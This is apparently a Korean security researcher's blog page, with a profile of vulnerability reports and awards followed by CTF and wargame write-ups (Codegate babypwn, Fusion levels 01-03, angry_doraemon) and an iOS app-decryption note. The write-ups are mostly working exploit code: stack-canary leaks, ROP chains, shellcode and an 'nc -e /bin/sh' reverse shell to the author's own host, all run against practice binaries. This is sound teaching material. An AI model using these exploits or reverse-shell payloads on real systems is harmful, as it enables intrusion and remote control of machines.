    • P2P Client Program Reversing (2010)                    ...

 

  • 그룹
    • 2020. ~     Best Of the Best 컨설팅 트랙 멘토
    • 2014. ~     NULL@ROOT (Korea Hacker Group)  
    • 2009. ~     Secuholic 운영 (Naver Hacking&Security Cafe, https://cafe.naver.com/secuholic)
 

 

  • 취약점 리포트
    • 2021
      • ezPDFReader Arbitrary Command Execution (CVE-2021-26605)
      • on***  타사용자 정보 탈취(GraphQL Injection)
      • on***  graphql listing
    • 2019
      • N****   XSS 
      • N****   Open redirect 
      • N****   Improper authorization 
      • N****   Authentication Bypass
    • 2018
      • K***    Bufferoverflow
      • Ep***  Bufferoverflow
      • J**      Remote Command Execution
    • 2017
      • Pagespy  Memory Corruption
      • K***         ActiveX Bufferoverflow
      • e***         ActiveX Bufferoverflow
      • gl****       ActiveX Arbitrary code execution
    • 2016
      • Gnuboard 5.x     BlindSQL Injection
      • A,B 사                Blind OOB XXE
      • Global U***        Arbitrary File Creation  
    • 2014
      • S사 DRM     Bufferoverflow
      • Ke*******     ActiveX Control Arbitrary File Execution
      • S사 C***      ActiveX Bufferoverflow
      • S사 A*         ActiveX Multiple Vulnerabilities(Arbitrary File Read/Write, RCE)
      • H사 H*        ActiveX Bufferoverflow
      • H사 H*        ActiveX Bufferoverflow
      • P사 P*         ActiveX Bufferoverflow 
    • 2013
      • N사                     XSS
      • MessagePopup   Messagenger Bufferoverflow
      • Akelpad              Heap Unicode Bufferoverflow
 
  • 논문
    • 2020. AI Browser Forensic Toolkit(Digital Investigation, SCIE)
    • 2016. [금보원2016-02]전자금융과 금융보안 제4호(금융보안원, 금융회사의 안전한 비대면 인증을 위한 연구)
    • 2015. 지급결제제도 발전 논문 3등(금융결제원, 안전한 전자금융거래를 위한 ATM 분석평가 방법론 연구)
 
  • 수상내역
    • 2021.   KISA HDCON 본선 1위(대상, 과학기술정보통신부장관상)
    • 2020.   K-사이버시큐리티챌린지 AI악성코드분석트랙 본선 2등(최우수상, 한국인터넷진흥원장상)
    • 2020.   K-사이버시큐리티챌린지 AI악성코드분석트랙 경기권역 2등(경기도경제과학진흥원장상)
    • 2019.   네이버 버그바운티 명예의 전당 등재
    • 2018.   금융보안원 위협분석대회 1위(대상)
    • 2017.   CCE(국가보안기술연구소) 해킹대회 예선3위 / 본선6위
    • 2016.   KISA HDCON 본선 6위
    • 2016.   "윈도우 시스템 해킹 가이드" 리버싱 분야 우수학술도서 선정
    • 2015.   KISA HDCON 본선 6위
    • 2014.   KISA보호나라 S/W신규취약점 신고 2014년 명예의전당 TOP 3
    • 2011.   KISA&KISIA 주최 악성코드 찾기대회 1등

 

 

 

 

hyunmini85@gmail.com

 

 

 



포스팅하면서 코드 색깔 입히는 게 귀찮았는데 (몇몇 좋은 js 모듈이나 온라인 highligher 사이트가 있지만 편집하기가 생각보다 불편...)


터미널에서 쉽게 코드에 색을 입히는 프로그램을 찾아서 정리해 둔다. 


여러개 있는것 같지만 두가지만 정리.







highlight



$ brew install highlight



 hyunmini:cpp $ highlight -O ansi test.cpp

#include <iostream>

#include <fstream>

#include <map>

#include <string.h>


using namespace::std;


map<int,string> test1234;


int main(){

string myStr = "test";

cout << "test string: " << myStr << "(" << myStr.length() << endl;

map<int,string>::iterator it;

test1234.insert(pair<int,string>(0,"haha"));

test1234.insert(pair<int,string>(1,"222a"));

it = test1234.begin();

cout << (*it).first << endl;

cout << (*it).second << endl;

}







Pygments


pip install Pygments


$ pygmentize -g dbi.py


 hyunmini:frida $ pygmentize -g dbi.py

#!/usr/bin/python

#-*- coding: utf-8 -*-

import sys

import frida

import codecs


class Logger(object):

INFO = '\033[10m' # white

SUCC = '\033[92m' # green

WARN = '  \033[93m' # yellow

END = '\033[0m' # normal(white)


@staticmethod

def info(msg): # print console

print Logger.INFO + msg + Logger.END


@staticmethod

def succ(msg): # print console

print Logger.SUCC + msg + Logger.END


@staticmethod

def warn(msg): # print console







별칭 등록


hyunmini:frida $ alias

alias ccat='highlight -O ansi'

alias pcat='pygmentize -g'






끝~

'Programming' 카테고리의 다른 글

python 을 이용한 bruteforcing  (0) 2016.07.28
py2exe 사용법  (0) 2014.03.04

Codegate 2017 - babypwn

2017. 2. 28. 17:59


육아 때문에 최근 공부를 거의 못하고 있으나...pwnable 만은 놓지 않기 위해 시간날때마다 조금씩이라도 풀어보려 노력중이다. ㅠ 


babypwn 은 Codegate 2017 prequal 에 출제 되었던 문제이다. 문제 환경도 잘 모르겠고 세팅하기 귀찮으니 


대충 있는 리눅스 가상머신에 올려서 풀었다.



babypwn

babypwn.py

babypwn



>>> print e.checksec()

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX enabled

PIE:      No PIE




stack canary 와 NX 가 걸려있다. fork() 를 해주기 때문에 aslr 은 큰 의미는 없다. canary 역시 fork() 때문에 재실행 전까지는 동일하다.


이런 유형의 문제는 보통 leak 가 가능하도록 되어있으므로 확인해 보자.







일단 0x8048907() 함수 내부에서 recv 로 입력값을 받는데, v2 버퍼는 0x28(40) byte 밖에 안되는데 0x64(100) 을 입력받고 있다.


그로인해 60바이트만큼 오버플로우가 발생한다.


하지만 버퍼 바로 아래에 canary 가 있어서 리턴 직전 확인하고 있으므로 (ssp 보호기법) 먼저 canary 를 leak 해야 한다. 


canary 와 버퍼가 붙어있으므로 AAAA|canary 요렇게 빈틈없이 채워주면 message 를 출력해줄때 canary 까지 같이 출력하게 할 수 있다.



# leak.py

#!/usr/bin/python from pwn import * context(arch='x86', os='linux', endian='little') print "[*] codegate 2017 babypwn exploit by hyunmini" e = ELF('./babypwn') rop = ROP(e) log.info("stage 0 : leak canary") r = remote("192.168.231.128",8181) print r.recvuntil('menu > ') r.send('1\n') print r.recv(1024) r.send('a'*41) print hexdump(r.recv(1024))




hyunmini:codegate2017 $ python babypwn.py 


[*] codegate 2017 babypwn exploit by hyunmini

[*] Loaded cached gadgets for './babypwn'

[*] stage 0 : leak canary

[+] Opening connection to 192.168.231.128 on port 8181: Done

▒▒▒▒▒▒▒C▒O▒D▒E▒G▒A▒T▒E▒2▒0▒1▒7▒▒▒▒▒▒▒

▒▒▒▒▒▒▒B▒A▒B▒Y▒P▒W▒N▒!▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

▒▒▒▒▒▒▒G▒O▒O▒D▒L▒U▒C▒K▒~▒!▒▒▒▒▒▒▒▒▒▒▒

===============================

1. Echo

2. Reverse Echo

3. Exit

===============================

Select menu > 

Input Your Message : 

00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaaaaaaaaaaaaaa│

*

00000020  61 61 61 61  61 61 61 61  61 75 16 35  f4 ff 75 b7  │aaaaaaaaau·5│··u·

00000030

[*] Closed connection to 192.168.231.128 port 8181



붉게 표시된 부분이 leak 된 canary 값이다.  40 바이트만 찍어도 나와야 하는데 41바이트 찍어야 나오는 걸로 봐서 


canary 첫번째 바이트는 0x00 임을 알 수 있다.


즉, 0x35167500 일 것이다.(little endian 이니)





이제 전체적인 rop exploit 을 구성해서 공격하면 된다.


간단하게 recv 함수로 bss 영역에 인자값을 입력받고, system 함수의 인자값으로 사용할 것이다.


pwntools 쓰면 요렇게 두줄로 간단하게 할 수 있다.


조금 살펴보니 pwntools 가 아래처럼 입력하면 알아서 ppr, pppr 넣어주고, plt 에 해당 함수 있으면 plt 호출, 


없으면 srop 를 해준다. srop 도 안되면 에러를 내뿜는다.



rop.recv(0x4,e.bss(),len(cmd)+1,0x0)
rop.system(e.bss())






아래는 전체 코드이다.




babypwn


#!/usr/bin/python
from pwn import *
context(arch='x86', os='linux', endian='little')

print "[*] codegate 2017 babypwn exploit by hyunmini"

e = ELF('./babypwn')
rop = ROP(e)

log.info("stage 0 : leak canary")
r = remote("192.168.231.128",8181)
print r.recvuntil('menu > ')
r.send('1\n')
print r.recv(1024)
r.send('a'*41)
recv_buf = r.recv(1024)[41:44]
print hexdump(recv_buf)
canary = u32('\x00' + recv_buf)
log.info("found canary : 0x%x" % canary)

cmd = "nc.traditional -e /bin/sh 192.168.231.1 7777"
#cmd = "cat flag | nc 192.168.231.1 7777"
rop.recv(0x4,e.bss(),len(cmd)+1,0x0)
rop.system(e.bss())

payload = 'A'*40 + p32(canary) + 'B'*12 + rop.chain() + '\n'

log.info("stage 1 : eip control")

p = remote("192.168.231.128",8181)

print p.recvuntil('menu > ')
p.send('1\n')

print p.recvuntil('Message : ')
p.send(payload + '\n')

print p.recvuntil('menu > ')

p.send('3\n')
p.send(cmd)





# ./babypwn.py

=============================================


hyunmini:codegate2017 $ nc -lv 7777

ls

babypwn

cd ..

'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2014 pwn 250 Writeup + pwntools 연습  (0) 2016.12.16

wargame - fusion / level03

2017. 2. 27. 11:37


LEVEL03


level03 이다. 적용된 기법은 아래와 같이 NX 정도이다.




>>> print e.checksec()

RELRO:    No RELRO

Stack:    No canary found

NX:       NX enabled

PIE:      No PIE

RPATH:    '/opt/fusion/lib'

FORTIFY:  Enabled




소스코드를 보면 아래와 같이 토큰을 하나 생성해서 보내고, 입력값을 받는데 이때 토큰값을 검증한다. 그 후에 입력된 주소로 해당 내용을 전송해 준다. 





입력값을 받을 때 한가지 특징으로 한번 입력 후 곧바로 close(0,1,2) 를 해주고 있어서 write(4, leak주소, 4) 이런 식의 payload 사용은 어려움. 소켓이 닫혀버리니까





또 한가지 특징으로 입력값 검증을 하는데, 첫번째로 token 이 가장 앞에 있는지 확인한다.


두번째로 해쉬값을 비교하여 처음 두 바이트가 0x00 인지 확인한다. 





검증이 끝난 후 json 형식을 파싱해주는 과정에서 취약점이 발생하는데, 해당 부분은 아래 코드이다. 


결론부터 말하면 while 구문 내부의 조건식이 



1) src 가 널바이트가 아니고

 

           &&


2) dest 가 end 랑 다르면



이기 때문이다. 즉 둘중 하나의 조건만 만족하지 않으면 계속 복사를 하게 된다는 뜻이다. 


소스를 보면 "\\u" 가 있으면 dest 를 case '\\' 문에서 한번 증가시키고, 'u' 에서 또 증가시키면서


dest 와 end 가 계속 달라지게 된다. 이로 인해 src 가 널바이트가 될 때까지 계속 복사를 하게 되고


실질적으로 strcpy 처럼 스택을 덮어쓰게 된다.  







먼저 validate 함수를 우회하기 위하여 공격 payload 에 임의의 숫자값을 for 문으로 돌려서 0x00, 0x00 이 나오는 해쉬값을 찾도록 해준다.


def find_collision(token, payload):
	i = 0
	while 1:	
		json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC)
		tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest()
		if tmp_hmac[0:2] == "\x00"*2:
			log.success("found collision request : %s" % json_req)
			return json_req
			break
		i += 1




다음은 eip 변조 테스트.



buf = "A"*127 + "\\\\ua" + "A"*34 + "BBBB"   # 34 + eip


req_col = find_collision(token, buf)

r.send(req_col)


gdb$ 
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFFFFF  EBX: 0x41414141  ECX: 0xB7562398  EDX: 0xFFFFFFFF  o d I t S z a P c 
  ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFDAB66C  EIP: 0x08049E08
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFDAB66C]------------------------------------------------------[stack]
0xBFDAB6BC : 10 00 00 00 F4 0F 56 B7 - 55 BC 41 B7 19 A2 04 08 ......V.U.A.....
0xBFDAB6AC : 02 00 4E 23 00 00 00 00 - 00 00 00 00 00 00 00 00 ..N#............
0xBFDAB69C : 02 00 FF C4 C0 A8 E7 01 - 00 00 00 00 00 00 00 00 ................
0xBFDAB68C : 0B 90 04 08 0D 00 00 00 - 01 00 00 00 FF FF FF FF ................
0xBFDAB67C : 00 00 00 00 04 00 00 00 - 98 B6 DA BF 02 00 00 00 ................
0xBFDAB66C : 42 42 42 42 04 00 00 00 - 00 00 00 00 02 00 00 00 BBBB............
--------------------------------------------------------------------------[code]
=> 0x8049e08 <handle_request+264>:	ret    
   0x8049e09 <handle_request+265>:	lea    esi,[esi+eiz*1+0x0]
   0x8049e10 <handle_request+272>:	mov    DWORD PTR [esp+0x4ac],0x80
   0x8049e1b <handle_request+283>:	mov    DWORD PTR [esp],ebx
   0x8049e1e <handle_request+286>:	call   0x8048da0 <json_object_get_string@plt>
   0x8049e23 <handle_request+291>:	lea    edx,[esp+0x4ac]
   0x8049e2a <handle_request+298>:	mov    DWORD PTR [esp+0x8],edx
   0x8049e2e <handle_request+302>:	lea    edx,[esp+0x42c]
--------------------------------------------------------------------------------
0x08049e08 in handle_request () at level03/level03.c:193
193	in level03/level03.c
gdb$ 
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFFFFF  EBX: 0x41414141  ECX: 0xB7562398  EDX: 0xFFFFFFFF  o d I t S z a P c 
  ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFDAB670  EIP: 0x42424242
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
Cannot access memory at address 0x42424242
0x42424242 in ?? ()


정확하게 0x42424242 로 변조가 되는 것을 확인했다. 이제 ROP 를 하면 되는데.. 널바이트가 들어가면 안되기 때문에 pwntools 를


이용한 rop 는 조금 제약이 있었다. 






여러번 삽질 후 세운 payload 는 아래와 같다.



1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)


2) memcpy 로 bss 에 system 인자값 쓰기

 

    memcpy(bss+4,gContents,4)        // gContents = 0x804bdf4 => 0x900e5c8 (이중포인터)


3) srand plt(system) 호출


    srand@plt(bss+8)    // reverse nc command



은 실패했다. 




실패한 이유는 gContents 가 이중포인터라 실패.. mov 로 값을 꺼내주려고 하니 마땅한 가젯이 없음.. 




아래와 같이 leave ret 를 이용한 fake ebp 를 이용하여 공격에 성공했다. stack frame 을 bss 에 다시 구성해주고,


leave 명령을 이용하여 ebp 를 bss 로 변경해준다. 그리고 system 함수로 return 하여 reverse connection 실행!




1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)


2) memcpy 로 bss 에 srand@plt, command 쓰기

 

    memcpy(bss, srand@plt,4)             

    memcpy(bss+8, gContents, len(cmd))    


3) leave 를 이용하여 fake ebp


    ebp 를 미리 조작하고, leave 명령을 이용하여 esp 를 변경, 미리 복사한 bss 영역으로 stack frame 변조


4) srand plt(system) 호출


    srand@plt(bss+8)    // reverse nc command





아래는 전체 exploit 코드이다. pwntools 를 쓰기 위해 노력했으나(pwntools 연습중이니..) 이번 문제의 경우 수작업 rop


가 필요하여 생각보다 활용도가 낮았다. 다만 e.bss(), e.plt[], e.got[], e.symbols[] 등은 유용했다.


#!/usr/bin/python import hmac import hashlib import json from pwn import * context(arch='i386',os='linux') r = remote("192.168.231.128",20003) e = ELF('../bin/level03') rop = ROP(e) s = ssh(host="192.168.231.128",user="fusion",port=22,password="godmode"


REVERSE_NC = "nc.traditional -e /bin/sh 192.168.231.1 7777"

def find_collision(token, payload): i = 0 while 1: json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC) tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest() if tmp_hmac[0:2] == "\x00"*2: log.success("found collision request : %s" % json_req) return json_req break i += 1 log.info("fusion level03 exploit by hyunmini") token = r.recv(1024).strip().strip('"') log.info("get token : %s" % token) # exploit condition # eip control breakpoint : 0x8049e04 <handle_request+260>: # control reg : ebx, esi, edi, ebp buf = "A"*127 + "\\\\ua" + "A"*34 # 34 + eip # srand got =+ system offset (0x9b60) => srand@plt = system() rop = p32(0x08049b4f) # pop eax ; add esp, 0x5c ; ret // eax = 0x9b60 rop += '\\\u609b\\\u0000' rop += "A"*0x5c rop += p32(0x08049a4f) # pop ebx ; ret // ebx rop += p32(e.got['srand'] - 0x5d5b04c4 & 0xffffffff) rop += p32(0x080493fe) # add dword ptr [ebx + 0x5d5b04c4], eax ; ret) # memcpy(bss+4, srand@plt, 4) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss()) rop += p32(e.got['srand']) rop += '\\\u0400\\\u0000' # memcpy(bss+8, gContents, len(cmd)) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss(8)) rop += p32(e.symbols['gContents']) rop += '\\\u0400\\\u0000' # fake ebp rop += p32(0x8049205) # pppr rop += p32(e.bss()-4) * 3 rop += p32(0x8049431) # leave, ret payload = buf + rop req_col = find_collision(token, payload) r.send(req_col)





# ./ex3_exploit.py     // exploit 성공



hyunmini:solve $ nc -lv 7777

id

uid=20003 gid=20003 groups=20003

uname -a

Linux fusion 3.0.0-13-generic-pae #22-Ubuntu SMP Wed Nov 2 15:17:35 UTC 2011 i686 i686 i386 GNU/Linux





'wargame > exploit exercise - fusion' 카테고리의 다른 글

wargame - fusion / level02  (0) 2016.12.29
wargame - fusion / level01  (0) 2016.12.28
wargame - fusion / level00  (2) 2013.09.23


오랫만에 ios 앱 해킹을 다시 하려다 보니 가물가물해서 간단히 다시 정리하기로 했다. 







복호화 - Clutch 

(https://github.com/KJCracks/Clutch/releases)




# wget  https://github.com/KJCracks/Clutch/releases/download/2.0.4/Clutch-2.0.4


# chmod 755 ./Clutch-2.0.4


# Clutch -i


Installed apps:

1:   *알리미 <com.*******.smartcaremgr>

2:   Find My iPhone <com.apple.mobileme.fmip1>

3:   Google Authenticator <com.google.Authenticator>

4:   Chrome - web browser by Google <com.google.chrome.ios>

5:   Hangouts <com.google.hangouts>

6:   Google Drive - free online storage <com.google.Drive>

7:   신한S뱅크 <com.shinhan.sbank>

8:   Google Sheets <com.google.Sheets>




# Clutch -b 1


ASLR slide: 0x3a000

Dumping <NotificationService> (armv7)

Patched cryptid (32bit segment)

ASLR slide: 0x8d000

Dumping <NotificationContent> (armv7)

Patched cryptid (32bit segment)

Writing new checksum

Writing new checksum

ASLR slide: 0x19000

Dumping <SMail> (armv7)

Patched cryptid (32bit segment)

Writing new checksum

Finished dumping com.shinhan.smartcaremgr to /var/tmp/clutch/59213352-****-4411-****-1A8D42C57BC5

Finished dumping com.shinhan.smartcaremgr in 2.6 seconds




Clutch 업데이트가 중단된걸로 알았었는데 2.0.4 버전이 작년에 나왔다. -i 로 목록을 본 후 -b 로 번호만 지정해주면 끝.

'iOS App Hacking' 카테고리의 다른 글

ios 앱 사용자 함수 hooking (using frida)  (2) 2017.08.16
iOS App Debugging - LLDB  (1) 2015.08.18
iOS App Runtime 조작  (0) 2015.08.17
ios app hacking - (1) ios app 의 구조  (0) 2014.02.03

wargame - fusion / level02

2016. 12. 29. 14:15


LEVEL02






level02 는 NX, ASLR 이 걸려있으며, 기본적인 난독화 및 수학 관련 문제라는 힌트가 주어진다.

NX 때문에 쉘코드를 직접 실행하기는 어려우며, ROP 를 이용해야 한다. 단순히 개인적인 정리용도의 풀이이므로 ROP 등을 정리하지는 않는다.

한줄로 설명하면 고전적인 RTL 기법을 발전시켜서 연속적인 Gadget (Ret 로 끝나는 코드 조각) 들을 실행시키는 기법이다. 최근 문제는 대부분 ROP 가 기본으로 들어가는 경우가 많다.




취약점 확인 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void encrypt_file()
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];
 
  unsigned char op;
  size_t sz;
  int loop;
 
  printf("[-- Enterprise configuration file encryption service --]\n");
  
  loop = 1;
  while(loop) {
      nread(0&op, sizeof(op));
      switch(op) {
          case 'E':                           // E 자가 입력되면    
              nread(0&sz, sizeof(sz));        // 입력받을 사이즈 지정
              nread(0, buffer, sz);             // 내용 입력, 취약
              cipher(buffer, sz);               // 입력된 내용 암호화
              printf("[-- encryption complete. please mention "
              "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
              "staff to retrieve your file --]\n");
              nwrite(1&sz, sizeof(sz));       // 암호화 사이즈 출력
              nwrite(1, buffer, sz);            // 암호화 내용 출력
              break;
          case 'Q':
              loop = 0;
              break;
          default:
              exit(EXIT_FAILURE);
      }
  }
      
}
 

c



취약한 부분은 encrypt_file() 내부에서 발생하며, 정확한 지점은 고정된 buffer 에 동적으로 입력값 길이를 정해서 입력받는 아래 부분이다.



nread(0, buffer, sz);



간단히 확인해보면 crash 가 발생하는 것을 확인할 수 있다. 








$ python -c "print 'E'+'\x14\x00\x02\x00'+'A'*0x20010+'B'*4+'Q'" | nc 192.168.231.128 20002


root@fusion:/opt/fusion/bin# dmesg | tail -2

[54915.235279] level02[7797]: segfault at c754dba ip 0c754dba sp bf9d99b0 error 14

[54927.307910] level02[7805]: segfault at 7ab5e3fe ip 7ab5e3fe sp bf9d99b0 error 14







문제는 입력받은 버퍼를 바로 아랫줄에서 cipher(buffer, sz) 와 같이 암호화 하고 있다는 것이나, 함수를 살펴보면 간단하게 XOR 연산을 해주는 것임을 알 수 있다.
key 값이 랜덤이지만, XOR 연산이기 때문에 0 과 XOR 연산을 수행하도록 해서 key 를 확인할 수 있다. 키 버퍼는 128 byte (XORSZ=32, *4) 이다. 첫번째 접속해서 128 바이트만큼 0을 입력해서 값을 받아오고, 키 버퍼를 받아온 후에 두번째 실제 payload 를 xor 해서 보내면 정상값이 들어갈 것이다.


root@fusion:/opt/fusion/bin# dmesg | tail -1
[55235.606684] level02[7847]: segfault at 42424242 ip 42424242 sp bf9d99b0 error 1



이제 간단히 ROP 를 수행하면 된다. 아래는 전체 Exploit 코드이다.
#!/usr/bin/python
from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level01 exploit by hyunmini"
r = remote("192.168.231.128",20002)
e = ELF('./level02')
rop = ROP(e)
print r.recvuntil('--]\n')
op_start = "E"
op_size = "\x80\x00\x00\x00"
op_end = "Q"
payload = "\x00" * 0x80
print "[+] stage 0 : recv xor_key"
r.send(op_start + op_size + payload )
print r.recvuntil('--]\n')
print "eeee"
sleep(0.2)
bufcount = r.recvuntil('\x80\x00\x00\x00')
print "[+] buf count : %d" % u32(bufcount)
xor_buf = r.recv(128)
print hexdump(xor_buf)
def xor(buf, key):
    result = ''
    for i, enc in enumerate(buf):
        result += chr(ord(enc)^ord(key[i % len(key)]))
    print "encoding (%d:%d) bytes" % (len(buf), len(result))
    return result
#-------------------------------------------#
print "[+] sending rop payload..."
payload2 = "A"*0x20010 
# rop chain
cmd = "/bin/sh\x00"
rop.read(0,e.bss(),len(cmd))
rop.execve(e.bss(),0,0) 
ropchain = rop.chain()
payload2 += ropchain 
payload2 = xor(payload2, xor_buf)
op_size = p32(len(payload2))
r.send(op_start)
r.send(op_size)
r.send(payload2)
r.send(op_end)
r.send(cmd)
print "[*] finish !!"
r.interactive()


'wargame > exploit exercise - fusion' 카테고리의 다른 글

wargame - fusion / level03  (0) 2017.02.27
wargame - fusion / level01  (0) 2016.12.28
wargame - fusion / level00  (2) 2013.09.23

wargame - fusion / level01

2016. 12. 28. 10:28

LEVEL01



level01 은 level00 과 동일한 소스코드이지만 버퍼 주소를 출력해주지 않는다. 취약점 발생지점은 동일하므로 긴 설명이 필요없고,


동일한 공격방식이되 버퍼 주소값을 모를 때 어떻게 해야 하는가를 묻는 문제이다. 


주소를 몰라도 바로 뒤로 점프하는 "trampoline techniques" 으로 불리는 jmp esp 등의 코드를 이용하면 된다.





[그림] 취약 함수




gdb-peda$ b *0x8049854 // 취약함수 ret 주소


gdb-peda$ set follow-fork-mode child // gdb fork() 자식 프로세스 디버깅

gdb-peda$ x/4i $eip-6                      
   0x804984e :	call   0x80489a0 
   0x8049853 :	leave  
=> 0x8049854 :	ret    
   0x8049855 :	push   ebp
gdb-peda$ x/12x $esp       // ret 직전의 스택, payload 가 정상적으로 입력된 것 확인
0xbffff32c:	0x08049f4f	0x16eb9090	0x00000000	0x00000004
0xbffff33c:	0x001761e4	0x001761e4	0x000027d8	0x20544547
0xbffff34c:	0x41414141	0x41414141	0x41414141	0x41414141
gdb-peda$ x/i 0x8049f4f     //  ret 실행 시  jmp esp 주소로 점프 ( ret = pop eip = ret 시점의 esp 주소)
   0x8049f4f:	jmp    esp
gdb-peda$ x/4i 0xbffff32c+4      //  jmp esp 후에 실행될 코드
   0xbffff330:	nop
   0xbffff331:	nop
   0xbffff332:	jmp    0xbffff34a
   0xbffff334:	add    BYTE PTR [eax],al
gdb-peda$ x/4i 0xbffff34a       //  short jump 후 실행될 쉘코드 확인
   0xbffff34a:	push   esp
   0xbffff34b:	and    BYTE PTR [ecx+0x41],al
   0xbffff34e:	inc    ecx
   0xbffff34f:	inc    ecx





익스플로잇 코드


# ex_level01.py


from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level00 exploit by hyunmini"

r = remote("192.168.231.128",20001)
e = ELF('./level01')
rop = ROP(e)

shellcode = asm(shellcraft.dupsh(4))
jmp_esp = p32(e.search(asm("jmp esp")).next())
jmp = "\x90\x90\xeb\x16"
nop = "\x90"*60
payload = "GET " + "A"*139 + jmp_esp + jmp +" HTTP/1.1 " + nop + shellcode
r.send(payload)
print " [+] Success!! got shell"
r.interactive()


실행






'wargame > exploit exercise - fusion' 카테고리의 다른 글

wargame - fusion / level03  (0) 2017.02.27
wargame - fusion / level02  (0) 2016.12.29
wargame - fusion / level00  (2) 2013.09.23

Pwntools



CTF 문제 풀이용 Framework 인 pwntools(pwnlib) 를 그동안 제대로 활용하지 못하고 있었는데(접속과 쉘코드 정도만 사용), 다양한 기능 연습 겸 최대한 pwntools 를 써가며 이전 pwnable 문제들을 풀어보기로 했다.








angry_doraemon  (Codegate 2014, pwn 250 문제)


□ description
==========================================
OS : Ubuntu 13.10 x86
IP : 58.229.183.18 / TCP 8888
http://58.229.183.26/files/angry_doraemon_c927b1681064f78612ce78f6b93c14d9
==========================================
□ number of solvers : 57
□ breakthrough by
1 : More Smoked Leet Chicken (02/23 06:16)
2 : ppp (02/23 06:22)
3 : stratumauhuur (02/23 06:28)


실행시켜보면 도라에몽과 싸우는 텍스트 게임이다.












바이너리 보호기법 확인



먼저 바이너리에 적용된 보호기법을 살펴보자.  checksec 스크립트 대신 아래와 같이 한줄로 대신할 수 있다.


#> python -c 'from pwn import *;ELF("./angry_doraemon")'


쓰고보니 이게 더 귀찮네..-.-;



Stack Canary (SSP 보호기법) 가 적용되어 있으며, NX 도 적용되어 있는 것을 볼 수 있다. 물론 Ubuntu 13.10 이므로 ASLR 적용


적용된 보호기법을 확인했으니 취약점이 발생하는 부분을 찾아 보도록 하자.









취약점 분석


IDA로 살펴보면 아래와 같이 4번 메뉴 입력값을 받을 때 read() 함수에서 할당된 버퍼보다 더 큰 수만큼 읽어오기 때문에 bof 취약점이 밟생하는 것을 확인할 수 있다.





 buf 변수는 4바이트밖에 안되는데 110 바이트를 입력받고 있다. 기초적인 bof 문제같지만 SSP 보호기법 때문에 stack canary 가 존재한다. 스택에 stack canary 가 존재하며, 이를 검사하여 다른 값으로 덮어씌워졌을 경우 bof 로 판단하여 조작된 리턴주소로 점프하지 않고 에러를 내뱉는다. 윈도우 계열에서는 SEH Overwrite 를 이용하여 우회가 가능한 보호기법인데, linux 의 경우 SEH 가 존재하지 않으므로 다른 방법으로 우회해야 한다. 


풀리라고 만든 문제인 만큼 대부분 바이너리에서 어떤 방법으로든 우회가 가능하게 구성이 되어있다. 이 바이너리의 경우에는 바로 아래쪽에 있는 sprintf 함수를 이용하면 우회가 가능하다. buf 를 출력해 주고 있는데, sprintf 함수는 널바이트를 문자열의 끝으로 인식하므로 canary 까지 널바이트가 없도록 쓰레기값으로 채워주면 canary 까지 출력이 된다.


 |    buf    |  .....        | canary |

  abcd\x0                             


sprintf(buf) => abcd 

       

==================================================


 |    buf    | .....         | canary |

  aaaaaaaaaaaaaaa| canary |    


sprintf(buf) => aaaaaaaaaacanary     



간단하게 코드를 작성하여 보면 예상대로 canary 값을 얻을 수 있다. 이 값은 fork() 로 인해 변하지 않으므로 한번 확인한 값을 계속 사용하면 된다. fork() 는 부모 프로세스 메모리 주소를 그대로 받아서 사용하므로 바이너리가 재 실행 되기 전까지는 변하지 않는다.



# leak.py


#!/usr/bin/python
from pwn import *
context(arch='x86', os='linux', endian='little')

print "[+] angry_doraemon exploit by hyunmini"
SIP = '192.168.182.202'
SPORT = 8888

e = ELF('./angry_doraemon')

# leak canary
print '\n\n\n ### leak canary...\n\n\n'
r = remote(SIP, SPORT)
print r.recvuntil('>')
r.send('4')
print r.recvuntil(' ')
sleep(0.1)
r.send('y'*11)
data = r.recvuntil('!!')
print hexdump(data)
canary = u32('\x00'+data[0x27:0x2a])
print '[+] leaked canary : 0x%x' % canary


canary 를 출력하기 위해서 10 byte 를 채워주면 되지만 실제로 y*10 을 하면 canary 값이 전송되지 않는 것으로 보아 첫번째 canary byte 는 '\x00' 임을 알 수 있다.





이제 canary 값을 구했으니 일반적인 ROP Exploit 을 작성하면 된다. 



# pwn_rop.py


#!/usr/bin/python
import time
from pwn import *
context(arch='x86', os='linux', endian='little')

print "[+] angry_doraemon exploit by hyunmini"

SIP = '192.168.182.202'
SPORT = 8888

e = ELF('./angry_doraemon')
rop = ROP(e)
rop2 = ROP(e)
offset = 0x8bd80 # write - system
bss = e.bss() # writable addr

# leak canary
print '\n\n\n ### leak canary...\n\n\n'
r = remote(SIP, SPORT)
print r.recvuntil('>')
r.send('4')
print r.recvuntil(' ')
